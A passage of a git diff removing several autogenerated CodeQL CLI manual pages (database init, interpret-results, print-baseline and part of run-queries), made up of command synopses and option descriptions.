extractor. - -### Options for limiting the set of indexed files - -#### `--include-extension=<.ext>` - -Include all files in the search directory tree that have the given -extension. Typically, you should include the dot before the extension. -For example, passing `--include-extension .xml` will include all files -with the ".xml" extension. This option is incompatible with negated -`--include` options. - -#### `--include=<glob>` - -Include all files and directories in the search directory tree that -match the given glob, using each file and directory's relative path -from the search directory. If the glob begins with a `!` character, the -matching files and directories would instead be excluded. - -`--include` options are processed in order, with later options -overriding earlier ones. For example, -`--include ** --include !sub/*.ts --include sub/main.*` would include -`sub/main.ts` (because it is included by `sub/main.*`), exclude -`sub/index.ts` (because it is excluded by `!sub/*.ts`), and include -`sub/test.js` (because it is included by `**` without being subsequently -excluded.) - -#### `--also-match=<glob>` - -Require all results to also match the given glob, using each file and -directory's relative path from the search directory. This option has -the same structure and the same interpretation as `--include` but -specifies a separate sequence of globs that are applied in conjunction -with `--include`. - -#### `--exclude=<glob>` - -Exclude all files and directories that match the given glob, using each -file and directory's relative path from the search directory. This -option overrides all include options. This option is incompatible with -negated `--include` options. - -#### `--prune=<glob>` - -Exclude all files and directories that match the given glob, using each -file and directory's relative path from the search directory. This -option overrides all include options. This option is incompatible with -negated `--include` options. - -#### `--size-limit=<bytes>` - -Exclude all files whose size exceeds the given limit. The size limit is -in bytes, or in kibibytes (KiB) with the "k" suffix, in mebibytes -(MiB) with the "m" suffix, and in gibibytes (GiB) with the "g" -suffix. This option overrides all include options. - -#### `--total-size-limit=<bytes>` - -Make the command exit with an error if the combined size of all resolved -files would exceed the given limit. The size limit is in bytes, or in -kibibytes (KiB) with the "k" suffix, in mebibytes (MiB) with the "m" -suffix, and in gibibytes (GiB) with the "g" suffix. - -#### `--[no-]follow-symlinks` - -Follow any symbolic links to their targets. - -#### `--[no-]find-any` - -Find at most one match (as opposed to all matches). - -Available since `v2.11.3`. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-init.md b/content/code-security/codeql-cli/codeql-cli-manual/database-init.md deleted file mode 100644 index 3b10ae4d001e..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-init.md +++ /dev/null @@ -1,345 +0,0 @@ ---- -title: database init -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Create an empty CodeQL database.' -redirect_from: - - /code-security/codeql-cli/manual/database-init ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database init --source-root=<dir> [--language=<lang>[,<lang>...]] [--github-auth-stdin] [--github-url=<url>] [--extractor-option=<extractor-option-name=value>] <options>... -- <database> -``` - -## Description - -\[Plumbing] Create an empty CodeQL database. - -Create a skeleton structure for a CodeQL database that doesn't have a -raw QL dataset yet, but is ready for running extractor steps. After this -command completes, run one or more [codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command) commands followed by [codeql database finalize](/code-security/codeql-cli/codeql-cli-manual/database-finalize) to prepare the database for querying. - -(Part of what this does is resolve the location of the appropriate -language pack and store it in the database metadata, such that it won't -need to be redone at each extraction command. It is not valid to switch -extractors in the middle of an extraction operation anyway.) - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database to create. This directory will -be created, and _must not_ already exist (but its parent must). - -If the `--db-cluster` option is given, this will not be a database -itself, but a directory that will _contain_ databases for several -languages built from the same source root. - -It is important that this directory is not in a location that the build -process will interfere with. For instance, the `target` directory of a -Maven project would not be a suitable choice. - -#### `-s, --source-root=<dir>` - -\[Mandatory] The root source code directory. In many cases, this will -be the checkout root. Files within it are considered to be the primary -source files for this database. In some output formats, files will be -referred to by their relative path from this directory. - -#### `--[no-]overwrite` - -\[Advanced] If the database already exists, delete it and proceed with -this command instead of failing. If the directory exists, but it does -not look like a database, an error will be thrown. - -#### `--[no-]force-overwrite` - -\[Advanced] If the database already exists, delete it even if it does -not look like a database and proceed with this command instead of -failing. This option should be used with caution as it may recursively -delete the entire database directory. - -#### `--codescanning-config=<file>` - -\[Advanced] Read a Code Scanning configuration file specifying options -on how to create the CodeQL databases and what queries to run in later -steps. For more details on the format of this configuration file, refer -to [AUTOTITLE](/code-security/code-scanning/creating-an-advanced-setup-for-code-scanning/customizing-your-advanced-setup-for-code-scanning). To run queries from -this file in a later step, invoke [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze) without any other queries specified. - -#### `--[no-]db-cluster` - -Instead of creating a single database, create a "cluster" of databases -for different languages, each of which is a subdirectory of the -directory given on the command line. - -#### `-l, --language=<lang>[,<lang>...]` - -The language that the new database will be used to analyze. - -Use [codeql resolve languages](/code-security/codeql-cli/codeql-cli-manual/resolve-languages) to get a list of the pluggable language extractors found on the search path. - -When the `--db-cluster` option is given, this can appear multiple times, -or the value can be a comma-separated list of languages. - -If this option is omitted, and the source root being analysed is a -checkout of a GitHub repository, the CodeQL CLI will make a call to the -GitHub API to attempt to automatically determine what languages to -analyse. Note that to be able to do this, a GitHub PAT token must be -supplied either in the environment variable GITHUB\_TOKEN or via standard -input using the `--github-auth-stdin` option. - -#### `--build-mode=<mode>` - -The build mode that will be used to create the database. - -Choose your build mode based on the language you are analyzing: - -`none`: The database will be created without building the source root. -Available for C#, Java, JavaScript/TypeScript, Python, and Ruby. - -`autobuild`: The database will be created by attempting to automatically -build the source root. Available for C/C++, C#, Go, Java/Kotlin, and -Swift. - -`manual`: The database will be created by building the source root using -a manually specified build command. Available for C/C++, C#, Go, -Java/Kotlin, and Swift. - -When creating a database with `--command`, there is no need to -additionally specify '--build-mode manual'. - -Available since `v2.16.4`. - -#### `--[no-]allow-missing-source-root` - -\[Advanced] Proceed even if the specified source root does not exist. - -#### `--[no-]begin-tracing` - -\[Advanced] Create some scripts that can be used to set up "indirect -build tracing," which allows integration into existing build workflows -when an explicit build command is not available. For information about -when and how to use this feature, please refer to our documentation at -[AUTOTITLE](/code-security/codeql-cli/getting-started-with-the-codeql-cli/preparing-your-code-for-codeql-analysis). - -### Baseline calculation options - -#### `--[no-]calculate-baseline` - -\[Advanced] Calculate baseline information about the code being -analyzed and add it to the database. By default, this is enabled unless -the source root is the root of a filesystem. This flag can be used to -either disable, or force the behavior to be enabled even in the root of -the filesystem. - -#### `--[no-]sublanguage-file-coverage` - -\[GitHub.com and GitHub Enterprise Server v3.12.0+ only] Use -sub-language file coverage information. This calculates, displays, and -exports separate file coverage information for languages which share a -CodeQL extractor like C and C++, Java and Kotlin, and JavaScript and -TypeScript. - -Available since `v2.15.2`. - -### Extractor selection options - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which extractor packs may be found. The -directories can either be the extractor packs themselves or directories -that contain extractors as immediate subdirectories. - -If the path contains multiple directory trees, their order defines -precedence between them: if the target language is matched in more than -one of the directory trees, the one given first wins. - -The extractors bundled with the CodeQL toolchain itself will always be -found, but if you need to use separately distributed extractors you need -to give this option (or, better yet, set up `--search-path` in a -per-user configuration file). - -(Note: On Windows the path separator is `;`). - -### Options to configure how to call the GitHub API to auto-detect languages. - -#### `-a, --github-auth-stdin` - -Accept a GitHub Apps token or personal access token via standard input. - -This overrides the GITHUB\_TOKEN environment variable. - -#### `-g, --github-url=<url>` - -URL of the GitHub instance to use. If omitted, the CLI will attempt to -autodetect this from the checkout path and if this is not possible -default to <https://github.com/> - -### Options to configure the package manager. - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -### Options to configure Windows tracing - -#### `--trace-process-name=<process-name>` - -\[Windows only] When initializing tracing, inject the tracer into a -parent process of the CodeQL CLI whose name matches this argument. If -more than one parent process has this name, the one lowest in the -process tree will be selected. This option overrides -`--trace-process-level`, so if both are passed, only this option will be -used. - -#### `--trace-process-level=<process-level>` - -\[Windows only] When initializing tracing, inject the tracer this many -parents above the current process, with 0 corresponding to the process -that is invoking the CodeQL CLI. The CLI's default behavior if no -arguments are passed is to inject into the parent of the calling -process, with some special cases for GitHub Actions and Azure Pipelines. - -### Options to configure indirect build tracing - -#### `--no-tracing` - -\[Advanced] Do not trace the specified command, instead rely on it to -produce all necessary data directly. - -#### `--extra-tracing-config=<tracing-config.lua>` - -\[Advanced] The path to a tracer configuration file. It may be used to -modify the behaviour of the build tracer. It may be used to pick out -compiler processes that run as part of the build command, and trigger -the execution of other tools. The extractors will provide default tracer -configuration files that should work in most situations. - -### Options to control extractor behavior: only be applied to the indirect tracing environment - -#### `-O, --extractor-option=<extractor-option-name=value>` - -Set options for CodeQL extractors. `extractor-option-name` should be of -the form extractor\_name.group1.group2.option\_name or -group1.group2.option\_name. If `extractor_option_name` starts with an -extractor name, the indicated extractor must declare the option -group1.group2.option\_name. Otherwise, any extractor that declares the -option group1.group2.option\_name will have the option set. `value` can -be any string that does not contain a newline. - -You can use this command-line option repeatedly to set multiple -extractor options. If you provide multiple values for the same extractor -option, the behaviour depends on the type that the extractor option -expects. String options will use the last value provided. Array options -will use all the values provided, in order. Extractor options specified -using this command-line option are processed after extractor options -given via `--extractor-options-file`. - -When passed to [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) or `codeql database begin-tracing`, the options will only be -applied to the indirect tracing environment. If your workflow also makes -calls to -[codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command) then the options also need to be passed there if desired. - -See <https://codeql.github.com/docs/codeql-cli/extractor-options> for -more information on CodeQL extractor options, including how to list the -options declared by each extractor. - -#### `--extractor-options-file=<extractor-options-bundle-file>` - -Specify extractor option bundle files. An extractor option bundle file -is a JSON file (extension `.json`) or YAML file (extension `.yaml` or -`.yml`) that sets extractor options. The file must have the top-level -map key 'extractor' and, under it, extractor names as second-level map -keys. Further levels of maps represent nested extractor groups, and -string and array options are map entries with string and array values. - -Extractor option bundle files are read in the order they are specified. -If different extractor option bundle files specify the same extractor -option, the behaviour depends on the type that the extractor option -expects. String options will use the last value provided. Array options -will use all the values provided, in order. Extractor options specified -using this command-line option are processed before extractor options -given via `--extractor-option`. - -When passed to [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) or `codeql database begin-tracing`, the options will only be -applied to the indirect tracing environment. If your workflow also makes -calls to -[codeql database trace-command](/code-security/codeql-cli/codeql-cli-manual/database-trace-command) then the options also need to be passed there if desired. - -See <https://codeql.github.com/docs/codeql-cli/extractor-options> for -more information on CodeQL extractor options, including how to list the -options declared by each extractor. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-interpret-results.md b/content/code-security/codeql-cli/codeql-cli-manual/database-interpret-results.md deleted file mode 100644 index 48a5cf11fe29..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-interpret-results.md +++ /dev/null @@ -1,352 +0,0 @@ ---- -title: database interpret-results -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: |- - [Plumbing] Interpret computed query results into meaningful formats - such as SARIF or CSV. -redirect_from: - - /code-security/codeql-cli/manual/database-interpret-results ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database interpret-results --format=<format> --output=<output> [--threads=<num>] <options>... -- <database> <file|dir|suite>... -``` - -## Description - -\[Plumbing] Interpret computed query results into meaningful formats -such as SARIF or CSV. - -The results should have been computed and stored in a CodeQL database -directory using [codeql database run-queries](/code-security/codeql-cli/codeql-cli-manual/database-run-queries). (Usually you'd want to do these steps together, by using [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze)). - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database that has been queried. - -#### `<file|dir|suite>...` - -Repeat the specification of which queries were executed here. - -If omitted, the CLI will determine a suitable set of queries using the -same logic as [codeql database run-queries](/code-security/codeql-cli/codeql-cli-manual/database-run-queries). - -(In a future version it ought to be possible to omit this and instead -interpret all results that are found in the database. That glorious -future is not yet. Sorry.) - -#### `--format=<format>` - -\[Mandatory] The format in which to write the results. One of: - -`csv`: Formatted comma-separated values, including columns with both -rule and alert metadata. - -`sarif-latest`: Static Analysis Results Interchange Format (SARIF), a -JSON-based format for describing static analysis results. This format -option uses the most recent supported version (v2.1.0). This option is -not suitable for use in automation as it will produce different versions -of SARIF between different CodeQL versions. - -`sarifv2.1.0`: SARIF v2.1.0. - -`graphtext`: A textual format representing a graph. Only compatible with -queries with @kind graph. - -`dgml`: Directed Graph Markup Language, an XML-based format for -describing graphs. Only compatible with queries with @kind graph. - -`dot`: Graphviz DOT language, a text-based format for describing graphs. -Only compatible with queries with @kind graph. - -#### `-o, --output=<output>` - -\[Mandatory] The output path to write results to. For graph formats -this should be a directory, and the result (or results if this command -supports interpreting more than one query) will be written within that -directory. - -#### `--max-paths=<maxPaths>` - -The maximum number of paths to produce for each alert with paths. -(Default: 4) - -#### `--[no-]sarif-add-file-contents` - -\[SARIF formats only] Include the full file contents for all files -referenced in at least one result. - -#### `--[no-]sarif-add-snippets` - -\[SARIF formats only] Include code snippets for each location mentioned -in the results, with two lines of context before and after the reported -location. - -#### `--[no-]sarif-add-query-help` - -\[SARIF formats only] \[Deprecated] Include Markdown query help for -all queries. It loads query help for /path/to/query.ql from the -/path/to/query.md file. If this flag is not supplied the default -behavior is to include help only for custom queries i.e. those in query -packs which are not of the form \`codeql/\<lang\&rt;-queries\`. This -option has no effect when passed to [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -#### `--sarif-include-query-help=<mode>` - -\[SARIF formats only] Specify whether to include query help in the -SARIF output. One of: - -`always`: Include query help for all queries. - -`custom_queries_only` _(default)_: Include query help only for custom -queries i.e. those in query packs which are not of the form -\`codeql/\<lang\&rt;-queries\`. - -`never`: Do not include query help for any queries. - -This option has no effect when passed to [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -Available since `v2.15.2`. - -#### `--no-sarif-include-alert-provenance` - -\[Advanced] \[SARIF formats only] Do not include alert provenance -information in the SARIF output. - -Available since `v2.18.1`. - -#### `--[no-]sarif-group-rules-by-pack` - -\[SARIF formats only] Place the rule object for each query under its -corresponding QL pack in the `<run>.tool.extensions` property. This -option has no effect when passed to [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -#### `--[no-]sarif-multicause-markdown` - -\[SARIF formats only] For alerts that have multiple causes, include -them as a Markdown-formatted itemized list in the output in addition to -as a plain string. - -#### `--no-sarif-minify` - -\[SARIF formats only] Produce pretty-printed SARIF output. By default, -SARIF output is minified to reduce the size of the output file. - -#### `--sarif-run-property=<String=String>` - -\[SARIF formats only] A key value pair to add to the generated SARIF -'run' property bag. Can be repeated. - -#### `--no-group-results` - -\[SARIF formats only] Produce one result per message, rather than one -result per unique location. - -#### `--csv-location-format=<csvLocationFormat>` - -The format in which to produce locations in CSV output. One of: uri, -line-column, offset-length. (Default: line-column) - -#### `--dot-location-url-format=<dotLocationUrlFormat>` - -A format string defining the format in which to produce file location -URLs in DOT output. The following place holders can be used {path} -{start:line} {start:column} {end:line} {end:column}, {offset}, {length} - -#### `--[no-]sublanguage-file-coverage` - -\[GitHub.com and GitHub Enterprise Server v3.12.0+ only] Use -sub-language file coverage information. This calculates, displays, and -exports separate file coverage information for languages which share a -CodeQL extractor like C and C++, Java and Kotlin, and JavaScript and -TypeScript. - -Available since `v2.15.2`. - -#### `--sarif-category=<category>` - -\[SARIF formats only] \[Recommended] Specify a category for this -analysis to include in the SARIF output. A category can be used to -distinguish multiple analyses performed on the same commit and -repository, but on different languages or different parts of the code. - -If you analyze the same version of a code base in several different ways -(e.g., for different languages) and upload the results to GitHub for -presentation in Code Scanning, this value should differ between each of -the analyses, which tells Code Scanning that the analyses _supplement_ -rather than _supersede_ each other. (The values should be consistent -between runs of the same analysis for _different_ versions of the code -base.) - -This value will appear (with a trailing slash appended if not already -present) as the `<run>.automationDetails.id` property. - -#### `-j, --threads=<num>` - -The number of threads used for computing paths. - -Defaults to 1. You can pass 0 to use one thread per core on the machine, -or -_N_ to leave _N_ cores unused (except still use at least one -thread). - -#### `--no-database-extension-packs` - -\[Advanced] Omit extension packs stored in the database during database -creation, either from a Code Scanning configuration file or from -extension files stored in the 'extensions' directory of the analyzed -codebase. - -#### `--[no-]print-diagnostics-summary` - -Print a summary of the analyzed diagnostics to standard output. - -#### `--[no-]print-metrics-summary` - -Print a summary of the analyzed metrics to standard output. - -#### `--[no-]print-baseline-loc` - -Print the baseline lines of code counted to standard output. - -### Options for configuring the CodeQL package manager - -#### `--registries-auth-stdin` - -Authenticate to GitHub Enterprise Server Container registries by passing -a comma-separated list of \<registry\_url>=\<token> pairs. - -For example, you can pass -`https://containers.GHEHOSTNAME1/v2/=TOKEN1,https://containers.GHEHOSTNAME2/v2/=TOKEN2` -to authenticate to two GitHub Enterprise Server instances. - -This overrides the CODEQL\_REGISTRIES\_AUTH and GITHUB\_TOKEN environment -variables. If you only need to authenticate to the github.com Container -registry, you can instead authenticate using the simpler -`--github-auth-stdin` option. - -#### `--github-auth-stdin` - -Authenticate to the github.com Container registry by passing a -github.com GitHub Apps token or personal access token via standard -input. - -To authenticate to GitHub Enterprise Server Container registries, pass -`--registries-auth-stdin` or use the CODEQL\_REGISTRIES\_AUTH environment -variable. - -This overrides the GITHUB\_TOKEN environment variable. - -### Options to specify which extensions to use when interpreting the results - -#### `--model-packs=<`<name@range>>... - -A list of CodeQL pack names, each with an optional version range, to be -used as model packs to customize the queries that are about to be -evaluated. - -### Options for finding QL packs (which may be necessary to interpret query suites) - -#### `--search-path=<dir>[:<dir>...]` - -A list of directories under which QL packs may be found. Each directory -can either be a QL pack (or bundle of packs containing a -`.codeqlmanifest.json` file at the root) or the immediate parent of one -or more such directories. - -If the path contains more than one directory, their order defines -precedence between them: when a pack name that must be resolved is -matched in more than one of the directory trees, the one given first -wins. - -Pointing this at a checkout of the open-source CodeQL repository ought -to work when querying one of the languages that live there. - -If you have checked out the CodeQL repository as a sibling of the -unpacked CodeQL toolchain, you don't need to give this option; such -sibling directories will always be searched for QL packs that cannot be -found otherwise. (If this default does not work, it is strongly -recommended to set up `--search-path` once and for all in a per-user -configuration file). - -(Note: On Windows the path separator is `;`). - -#### `--additional-packs=<dir>[:<dir>...]` - -If this list of directories is given, they will be searched for packs -before the ones in `--search-path`. The order between these doesn't -matter; it is an error if a pack name is found in two different places -through this list. - -This is useful if you're temporarily developing a new version of a pack -that also appears in the default path. On the other hand, it is _not -recommended_ to override this option in a config file; some internal -actions will add this option on the fly, overriding any configured -value. - -(Note: On Windows the path separator is `;`). - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-print-baseline.md b/content/code-security/codeql-cli/codeql-cli-manual/database-print-baseline.md deleted file mode 100644 index 3740c7b264ab..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-print-baseline.md +++ /dev/null @@ -1,107 +0,0 @@ ---- -title: database print-baseline -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Print a summary of the baseline lines of code seen.' -redirect_from: - - /code-security/codeql-cli/manual/database-print-baseline ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database print-baseline <options>... -- <database> -``` - -## Description - -\[Plumbing] Print a summary of the baseline lines of code seen. - -This command will print to standard out the baseline lines of code seen -within the source root specified at [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init) time for each language present in the database. - -The baseline is an estimate of the non-empty, non-comment lines of code -in a database. This count is different from the lines of code counted by -CodeQL metrics queries, which only counts code that is passed to the -CodeQL evaluator. In some cases, the baseline count may be lower than -the count in metrics queries since metrics queries may include external -files that are passed to the evaluator, but are not included in the -source root. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database under construction. This must -have been prepared for extraction with [codeql database init](/code-security/codeql-cli/codeql-cli-manual/database-init). - -If the `--db-cluster` option is given, this is not a database itself, -but a directory that _contains_ databases, and all of those databases -will be processed together. - -#### `--[no-]db-cluster` - -Indicates that the directory given on the command line is not a database -itself, but a directory that _contains_ one or more databases under -construction. Those databases will be processed together. - -### Common options - -#### `-h, --help` - -Show this help text. - -#### `-J=<opt>` - -\[Advanced] Give option to the JVM running the command. - -(Beware that options containing spaces will not be handled correctly.) - -#### `-v, --verbose` - -Incrementally increase the number of progress messages printed. - -#### `-q, --quiet` - -Incrementally decrease the number of progress messages printed. - -#### `--verbosity=<level>` - -\[Advanced] Explicitly set the verbosity level to one of errors, -warnings, progress, progress+, progress++, progress+++. Overrides `-v` -and `-q`. - -#### `--logdir=<dir>` - -\[Advanced] Write detailed logs to one or more files in the given -directory, with generated names that include timestamps and the name of -the running subcommand. - -(To write a log file with a name you have full control over, instead -give `--log-to-stderr` and redirect stderr as desired.) - -#### `--common-caches=<dir>` - -\[Advanced] Controls the location of cached data on disk that will -persist between several runs of the CLI, such as downloaded QL packs and -compiled query plans. If not set explicitly, this defaults to a -directory named `.codeql` in the user's home directory; it will be -created if it doesn't already exist. - -Available since `v2.15.2`. diff --git a/content/code-security/codeql-cli/codeql-cli-manual/database-run-queries.md b/content/code-security/codeql-cli/codeql-cli-manual/database-run-queries.md deleted file mode 100644 index 223c91e878e3..000000000000 --- a/content/code-security/codeql-cli/codeql-cli-manual/database-run-queries.md +++ /dev/null @@ -1,465 +0,0 @@ ---- -title: database run-queries -versions: # DO NOT MANUALLY EDIT. CHANGES WILL BE OVERWRITTEN BY A 🤖 - fpt: '*' - ghec: '*' - ghes: '*' -topics: - - Code Security - - Code scanning - - CodeQL -type: reference -product: '{% data reusables.gated-features.codeql %}' -autogenerated: codeql-cli -intro: '[Plumbing] Run a set of queries together.' -redirect_from: - - /code-security/codeql-cli/manual/database-run-queries ---- - - -<!-- Content after this section is automatically generated --> - -{% data reusables.codeql-cli.man-pages-version-note %} - -## Synopsis - -```shell copy -codeql database run-queries [--threads=<num>] [--ram=<MB>] <options>... -- <database> <query|dir|suite|pack>... -``` - -## Description - -\[Plumbing] Run a set of queries together. - -Run one or more queries against a CodeQL database, saving the results to -the results subdirectory of the database directory. - -The results can later be converted to readable formats by [codeql database interpret-results](/code-security/codeql-cli/codeql-cli-manual/database-interpret-results), or query-for-query by with [codeql bqrs decode](/code-security/codeql-cli/codeql-cli-manual/bqrs-decode) or [codeql bqrs interpret](/code-security/codeql-cli/codeql-cli-manual/bqrs-interpret). - -If your queries produce results in a form that can be interpreted as -source-code alerts, you may find [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze) a more convenient way to run them. [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze) combines [codeql database run-queries](/code-security/codeql-cli/codeql-cli-manual/database-run-queries) with [codeql database interpret-results](/code-security/codeql-cli/codeql-cli-manual/database-interpret-results) in a single step. In particular, [codeql database analyze](/code-security/codeql-cli/codeql-cli-manual/database-analyze) can produce output in the SARIF format, which can be used with an variety of alert viewers. - -Alternatively, if you have only a single query to run, you might prefer -[codeql query run](/code-security/codeql-cli/codeql-cli-manual/query-run), which can display human-readable output for quick inspection of results while you're debugging. - -## Options - -### Primary Options - -#### `<database>` - -\[Mandatory] Path to the CodeQL database to query. - -#### `<query|dir|suite|pack>...` - -Queries to execute. Each argument is in the form `scope/name@range:path` -where: - -* `scope/name` is the qualified name of a CodeQL pack. -* `range` is a semver range. -* `path` is a file system path. - -If a `scope/name` is specified, the `range` and `path` are optional. A -missing `range` implies the latest version of the specified pack. A -missing `path` implies the default query suite of the specified pack. - -The `path` can be one of a `*.ql` query file, a directory containing one -or more queries, or a `.qls` query suite file. If there is no pack name -specified, then a `path` must be provided, and will be interpreted -relative to the current working directory of the current process. - -To specify a `path` that contains a literal `@` or `:`, use `path:` as a -prefix to the argument, like this: `path:directory/with:and@/chars`. - -If a `scope/name` and `path` are specified, then the `path` cannot be -absolute. It is considered relative to the root of the CodeQL pack. - -If no queries are specified, the CLI will automatically determine a -suitable set of queries to run. In particular, if a Code Scanning -configuration file was specified at database creation time using -`--codescanning-config` then the queries from this will be used. -Otherwise, the default queries for the language being analyzed will be -used. - -#### `--no-rerun` - -Omit evaluation of queries that already seem to have a BQRS result -stored in the output location. - -#### `--no-database-extension-packs` - -\[Advanced] Omit extension packs stored in the database during database -creation, either from a Code Scanning configuration file or from -extension files stored in the 'extensions' directory of the analyzed -codebase. - -#### `--no-database-threat-models` - -\[Advanced] Omit threat model configuration stored in the database -during database creation from a Code Scanning configuration file. - -### Options to control the model packs to be used - -#### `--model-packs=<`<name@range>>... - -A list of CodeQL pack names, each with an optional version range, to be -used as model packs to customize the queries that are about to be -evaluated. - -### Options to control the threat models to be used - -#### `--threat-model=<name>...` - -A list of threat models to enable or disable. - -The argument is the name of a threat model, optionally preceded by a -'!'. If no '!' is present, the named threat model and all of its -descendants are enabled. If a '!' is present, the named threat model -and all of its descendants are disabled. - -The 'default' threat model is enabled by default, but can be disabled -by specifying '--threat-model !default'. - -The 'all' threat model can be used to enable or disable all threat -models. - -The --threat-model options are processed in order. For example, -'--threat-model local --threat-model !environment' enables all of -the threat models in the 'local' group except for the 'environment' -threat model. - -This option only has an effect for languages that support threat models. - -Available since `v2.15.3`. - -### Options to control the query evaluator - -#### `--[no-]tuple-counting` - -\[Advanced] Display tuple counts for each evaluation step in the query -evaluator logs. If the `--evaluator-log` option is provided, tuple -counts will be included in both the text-based and structured JSON logs -produced by the command. (This can be useful for performance -optimization of complex QL code). - -#### `--timeout=<seconds>` - -\[Advanced] Set the timeout length for query evaluation, in seconds. - -The timeout feature is intended to catch cases where a complex query -would take "forever" to evaluate. It is not an effective way to limit -the total amount of time the query evaluation can take. The evaluation -will be allowed to continue as long as each separately timed part of the -computation completes within the timeout. Currently these separately -timed parts are "RA layers" of the optimized query, but that might -change in the future. - -If no timeout is specified, or is given as 0, no timeout will be set -(except for [codeql test run](/code-security/codeql-cli/codeql-cli-manual/test-run), where the default timeout is 5 minutes). - -#### `-j, --threads=<num>` - -Use this many threads to evaluate queries. - -Defaults to 